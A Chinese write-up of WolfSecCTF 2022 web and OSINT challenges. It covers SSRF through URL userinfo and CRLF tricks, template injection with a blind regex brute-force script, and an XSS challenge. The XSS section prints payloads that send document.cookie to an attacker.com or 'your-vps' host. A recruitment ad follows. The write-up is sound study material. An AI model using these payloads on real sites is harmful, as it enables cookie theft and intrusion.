WolfSecCTF 几道有趣的题目

admin 2022年5月29日01:03:25评论169 views字数 5673阅读18分54秒阅读模式

上周末打了密歇根大学举办的一个CTF比赛,做了其中的Web题,发现考点比较新颖和有趣,于是写篇完整的探索记录

Warmup:Burp

一道纯靠burp的题目,这里不再多提 就是抓包然后不断看响应包里面的要求

<p>Found. Redirecting to <a href="/flag?count=1">/flag?count=1</a></p>

访问/flag?count=1

<p>Found. Redirecting to <a href="/?count=7">/?count=7</a></p>

转往?count=7即可获得flag

wsc{c00k1e5_yum!}

SSRF 101

文件结构

WolfSecCTF 几道有趣的题目


发现public.js里面的路由标识

WolfSecCTF 几道有趣的题目


可以看到这里面关键的点在于$path可控 我们先访问下题目中给的路由

WolfSecCTF 几道有趣的题目


可以看到我们拼接进来的端口1001 继续尝试用这个ssrf位点访问一下private2.js成功获取到flag 但是显而易见这题并不只有这种解法

注意拼接处的代码

const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)

我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可

最后payload

@localhost:10011/flag

WolfSecCTF 几道有趣的题目


可以看到在这里面访问get路由即可获取到flag 比较有意思的点是private2点端口比我们可控的端口多1 所以我们构造注入1/flag 即可成功访问private2里面的flag路由

https://wsc-2022-web-1-bvel4oasra-uc.a.run.app/ssrf?path=1/flag

WolfSecCTF 几道有趣的题目

成功获取到flag 但是显而易见这题并不只有这种解法

注意拼接处的代码

const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)

我们可以在path里使用一个@ 这样@前面字符串会被当作用户名 之后再进行访问指定端口路由即可

最后payload

@localhost:10011/flag

SSRF 301

这道题做了一些基础的防护,但很简单 只是检测我们输入第一个字符不能为数字

当然可以用我刚才提到的第二种解法

但如果你看过orange的ppt就会知道

WolfSecCTF 几道有趣的题目


可以使用%0D%0A换行注入我们的1/flag即可成功拿到flag

最后payload

https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag

Get flag wsc{url_synt4x_f0r_th3_w1n_hq32pl}

Java???

这道题是我觉得最有趣的一道题

WolfSecCTF 几道有趣的题目


在这里可以看到花括号包裹起来的数据我们可控 可以猜测可能是ssti

WolfSecCTF 几道有趣的题目

但这里用的模板引擎比较新颖 叫chunk-templates

继续往下看渲染点

WolfSecCTF 几道有趣的题目


他把flag用set存储起来了,现在我们需要的就是通过{$flag}给他渲染出来

但注意这里的preventRecursiveTags函数替换掉了 $符号,我们思路就是代替他 直接打断点debug可以看到

WolfSecCTF 几道有趣的题目

parsetag这里除了$ 还可以用~ 所以我们构造个{~flag}来获取到flag

很有趣是吧,但其实这题最有意思的点是可探索性很高,如果你以前接触过 twig模板

你就会发现它最强大的地方是他的过滤器

我们可以用url编码把我们的符号进行编码 然后再构造一个标签

{.{%24flag%7d|urldecode()}

https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D

WolfSecCTF 几道有趣的题目

可以看到能够成功带出flag

正是因为他的构造器多样 我们的思维还可以发散

如果你记得今年RealWorld的 RWDN 你应该想起来我们是如何通过.htaccess来读取任意文件的?

可以通过if语法盲注来匹配 而你只要仔细翻了chunk-templates的文档

WolfSecCTF 几道有趣的题目

你会发现他也刚好有这种语法

import re
import requests as req
from string import ascii_letters, digits, printable


d = 0
if d:
url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
proxies = {
"http" : 'http://127.0.0.1:8080',
"https" : 'https://127.0.0.1:8080'
}
else:
url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
proxies = {}

canary = 'test'
charset = printable[:-6].replace(",", "").replace("/", "")
flag = "wsc"
while not flag.endswith("}"):
for _ in charset:
tmp = flag + _
payload = f'{{% if(flag=~/^{re.escape(tmp)}/) %}}{canary}{{% endif %}}'
if d : print(payload)
res = req.get(url+f'submit?name={req.utils.quote(payload)}', proxies=proxies)
if "test" in res.text:
flag += _
print(flag.replace("\", ""))
break

通过正则匹配进行盲注 也是获得flag的好方法

XSS 401

又是一道有趣的题目,不像其他ctf考了很多bypass csp的技巧

因为代码文件单一我直接在这里贴出来

const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 3000

app.use(express.static(__dirname + '/webapp'))

const visitUrl = async (url, cookieDomain) => {
let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,
args: [
'--incognito',
'--no-sandbox',
'--disable-gpu',
'--disable-software-rasterizer',
'--disable-dev-shm-usage',
]
})

try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()

try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
})
await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
finally {
browser.close()
}
}

app.get('/visit', async (req, res) => {
const url = req.query.url
console.log('received url: ', url)

let parsedURL
try {
parsedURL = new URL(url)
}
catch (e) {
res.send(escape(e.message))
return
}

if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')
return
}

if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}

try {
console.log('visiting url: ', url)
await visitUrl(url, req.hostname)
res.send('Our admin bot has visited your URL!')
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting your URL: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)
}

})

app.listen(port, async () => {
console.log(`Listening on ${port}`)
})

关键问题点

if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
return
}

这里 可以看到$parsedURL.hostname是没经过任何处理的

我们可以尝试在这里加一些标签

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://%3Ch1%3Etest%3C/h1%3E

WolfSecCTF 几道有趣的题目

所以我们就要在这里面想办法插入xss 但是注意hostname的rfc标准

1.不能有空格 2.大小写会被统一转换 3.? # @ / 这些字符会破坏Hostname

其实payload有很多 你可以去terjanq的 博客去找 其实关键点在于bypass空格

翻阅了很多资料发现unicode字符可以代替

<svg%0Conload=alert()>

所以构造个这样类似的poc就可以

但是常规的我们的设想我们要通过一些windows.href类似的跳转拼接cookie 类似这样

window.location='https://attacker.com/?'+document.cookie

我一开始想到了一些编码形式比如base64 但是rfc标准大小写会被统一转换

所以我就想找一些类似切片的东西

location.hash.slice(1)

后来我队友发现这个可以取#之后的数据 拿我们再用eval来进行执行 ,在#后拼接,也就是在hostname外拼接我们的跳转payload即可

最后payload:

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie

最后成功get flag

OSINT-Where in the world

题目描述

Challenge Description: User Vividpineconepig claims on to live next to a street that's above some train tracks. Where are they? Maybe finding their social media could help. We’ll give you a flag for tracking them down. Give us this elevated STREETNAME preceding the St/Rd/Ave/Lane to prove it.

Format: wsc{STREETNAME}

这种社工题蛮有意思的

Vividpineconepig 是用户的名称。描述告诉我们,我们可能想要找到他们的社交媒体帐户。使用 Sherlock 之类的工具

在ins找到信息

WolfSecCTF 几道有趣的题目


然后就是获得这张图片分析 一开始我想直接使用google map之类的来寻找位置 发现根本没有下手点

WolfSecCTF 几道有趣的题目


这里我自己给自己挖了个坑 得知主办方是密歇根大学 我直接从这里入手,直到一位国外队友告诉我这种高速公路标志右边是蒙大拿州独有的,好吧 然后我们还有右边一个hint mile 280的标记

于是翻google地图 范围很小了

得到镇的名字是 Shelby, MT

通过远处的高架桥和火车轨道的推测

WolfSecCTF 几道有趣的题目


WolfSecCTF 几道有趣的题目

猜测是这个Oilfield街道

wsc{OILFIELD}


源:先知(https://xz.aliyun.com/t/6830)

注:如有侵权请联系删除



WolfSecCTF 几道有趣的题目



船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


WolfSecCTF 几道有趣的题目

欢迎大家加群一起讨论学习和交流

WolfSecCTF 几道有趣的题目

快乐要懂得分享,

才能加倍的快乐。


原文始发于微信公众号(衡阳信安):WolfSecCTF 几道有趣的题目

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月29日01:03:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WolfSecCTF 几道有趣的题目http://cn-sec.com/archives/1061896.html

发表评论

匿名网友 填写信息